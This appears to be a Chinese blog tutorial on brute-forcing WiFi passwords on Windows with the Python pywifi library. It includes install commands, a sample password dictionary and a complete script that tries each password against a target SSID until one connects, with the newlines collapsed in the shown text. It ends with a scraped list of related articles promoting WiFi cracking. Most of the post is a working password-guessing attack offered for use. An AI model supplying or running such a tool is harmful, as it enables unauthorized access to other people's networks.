简介

破解Wifi密码,对于一个入门程序员来说应该是非常好奇的事情。这个话题从很早以前就有了。很早以前就涌现了一些破解wifi的软件平台,例如:奶瓶beini、BT2/BT3/BT4之类的。不过他们都是liunx环境的东西。需要自己搭个虚拟机或者拿个机子去安装ios镜像系统。就很麻烦。

时隔n年,昨晚睡觉的时候偶然想起这“未完成的心愿”,于是乎今天就又开始看看:windows下现在有没有啥新科技呢?

一番探索,真有!


环境准备

安装pywifi库

pip install pywifi

pip install comtypes


前期准备

破解wifi的原理实际上也就是暴力破解。就是遍历各种wifi密码可能的组合,不断的尝试。

因此,我们需要一个 密码字典。这个百度有很多,我这里做测试,所以我自己随便写了一个txt文件,作为密码字典。wifipwd.txt 内如如下:

nihaonihao
132312312
3242342534
53536346534
2423423423
2445356356
234232342
234234234
234453456
12345678
11111111
123123234

代码实现

import pywifi
from pywifi import const
import time# 名称 Wifi密码
def wificonnect(wifiname,wifipwd):'''WIFI的测试连接'''wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]#断开WiFi连接ifaces.disconnect()time.sleep(0.5)if ifaces.status() == const.IFACE_DISCONNECTED:# 创建WIFI文件profile = pywifi.Profile()# wifi名称profile.ssid = wifiname# 密码profile.key = wifipwd# WiFi的加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 网卡的开放profile.auth = const.AUTH_ALG_OPEN# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 删除所有的WIFI文件ifaces.remove_all_network_profiles()# 设定新的链接文件temp_profile = ifaces.add_network_profile(profile)# 连接wifiifaces.connect(temp_profile)time.sleep(1)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return False# 读取密码本
def read_pwd():'''读取密码本'''print('开始破解:')path = r'wifipwd.txt'    # 密码字典路径file = open(path, 'r')# 开始遍历密码本while True:try:wifipwd = file.readline()if wifipwd:wifipwd = wifipwd[:-1]  # 删掉最后的换行符b = wificonnect('Invalidnode', wifipwd) #第一个参数即为wifi名称if b:print('密码正确'+wifipwd)break   # 退出一层循环else:print('密码错误'+wifipwd)else:breakexcept:continuefile.close()read_pwd()

测试结果

成功发现我的手机热点密码为 12345678


简评

所以说,这还是个耗时的破解过程。有个好密码字典非常重要,主要是运气得好。

基于pywifi库的暴力破解wifi方法相关推荐

  1. 凯撒密码加密算法python_Python最新暴力破解WiFi,攻破所有密码限制,最强破解!...

    生成密码本 对于这个密码本就是我们常用的密码,一般是有数字.字母和符号组成.而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法.这里用到的库是itertools,没有的可以 ...

  2. Python 暴力破解wifi

    Python 使用pywifi模块暴力破解wifi实现自动登陆的效果,本次采用面向过程的方式编写,简单易懂. 思路: 首先检查是否拥有无限网卡 无线网卡是否连接到wifi 如果连接到wifi那么需要断 ...

  3. 使用Kali Linux 暴力破解wifi密码详细步骤

    使用Kali Linux 暴力破解wifi密码详细步骤所谓暴力破解就是穷举法,将密码字典中每一个密码依次去与握手包中的密码进行匹配,直到匹配成功.所以能否成功破解wifi密码取决于密码字典本身是否包含 ...

  4. python加密库_python基于pyDes库实现des加密的方法

    本文实例讲述了python基于pyDes库实现des加密的方法.分享给大家供大家参考,具体如下: 下载及简介地址:https://twhiteman.netfirms.com/des.html 如需要 ...

  5. 基于bs4库的HTML内容查找方法

    一.信息提取实例 提取HTML中所有的URL链接 思路:1)搜索到所有的<a>标签 2)解析<a>标签格式,提取href后的链接内容 >>> import r ...

  6. Kali使用Aircrack-ng进行暴力破解WIFI密码

    Kali系统使用Aircrack-ng进行暴力破解WIFI密码 一.什么是Aircrack-ng 运行环境 插入网卡设备 二.破解流程 1.进入管理员模式 2.查看网卡信息 3.杀掉冲突进程 4.查看 ...

  7. 1.1 暴力破解——基于表单的暴力破解

    1.1 暴力破解--基于表单的暴力破解 1.需要准备的工具 2.设置端口 2.1 浏览器设置 2.2 burpsuit设置 3.抓包分析 4.设置爆破点 4.1 发送至intruder 4.2 设置爆 ...

  8. NO.28——Kali Linux无线渗透暴力破解WIFI密码

    近期放暑假在家闲来无事,前几天在手机上下载了腾讯wifi管家,意外地链接上了隔壁邻居的WIFI,但是在手机端无法看到密码明文,因此在考虑是否能通过Kali暴力破解wifi密码. Kali Linux常 ...

  9. 基于表单的暴力破解演示

    ***要想成功就必须做充足的准备,暴力破解更是这样*** 一**.配置暴力破解的环境和要求** 1.java环境 2.皮卡丘靶机软件 3.PhpStudy 具体如下: (1)java下载之后要去电脑的 ...

  10. Arduino ESP8266 +0.96“Oled屏幕基于U8g2库实现充电和wifi图标动态显示

    Arduino ESP8266 +0.96"Oled屏幕基于U8g2库实现充电和wifi图标动态显示 这种效果(基于U8g2函数构建实现的,区别于图片取模的方式.) 屏幕采用的是0.96&q ...

最新文章

  1. 3行代码写出8个接口,开挂了?
  2. 系列笔记 | 深度学习连载(6):卷积神经网络基础
  3. django.db.utils.DataError: (1406, Data too long for column 'gender' at row 1)
  4. 初识图机器学习(part3)--图数据挖掘
  5. no java virtual machine was found after searching Failed to load the JNI shared library
  6. google map的简单二次开发
  7. 本机web开发环境的搭建--nginx篇
  8. 软件工程-软件需求规格说明书模板
  9. 中国主要水系、河流、湖泊数据矢量数据(shp格式)下载地址
  10. typroa 思维导图_Markdown转思维导图及Typora导出opml(pandoc)
  11. Mysql集群原理整理
  12. 文件粉碎机c语言代码,VB写文件粉碎机
  13. C语言编程题最简分式,C语言 程序设计入门 最简分式
  14. 给十二星座女生送礼物的技巧
  15. docker搭建snipe-it
  16. 计算机时间转换工具,计算机时间的转换
  17. 苹果二手机价格行情2022.2.22
  18. Arduino实现增量式旋转编码器(欧姆龙e6b2-cwz6c)程序编写
  19. 从华为年报看鲲鹏计算生态的内生动力
  20. LS-GAN作者诠释新型GAN:条条大路通罗马,把GAN建立在Lipschitz密度上

热门文章

  1. Python编写工资计算器
  2. 国产操作系统环境搭建(内含镜像资源)
  3. 信杂比公式_图像信噪比、计算公式、实例分析
  4. 鸡兔同笼php编程,C语言鸡兔同笼问题
  5. 基于JavaMail的Java邮件发送:复杂邮件发送
  6. 计算机mac地址设置路由器,MAC地址修改教程
  7. 银行管理系统(一看就懂)
  8. google earth 卫星无偏移免费下载,91卫图助手
  9. 谷歌服务器框架最新版本,谷歌服务框架2020最新版本
  10. 勒索病毒处置经验分享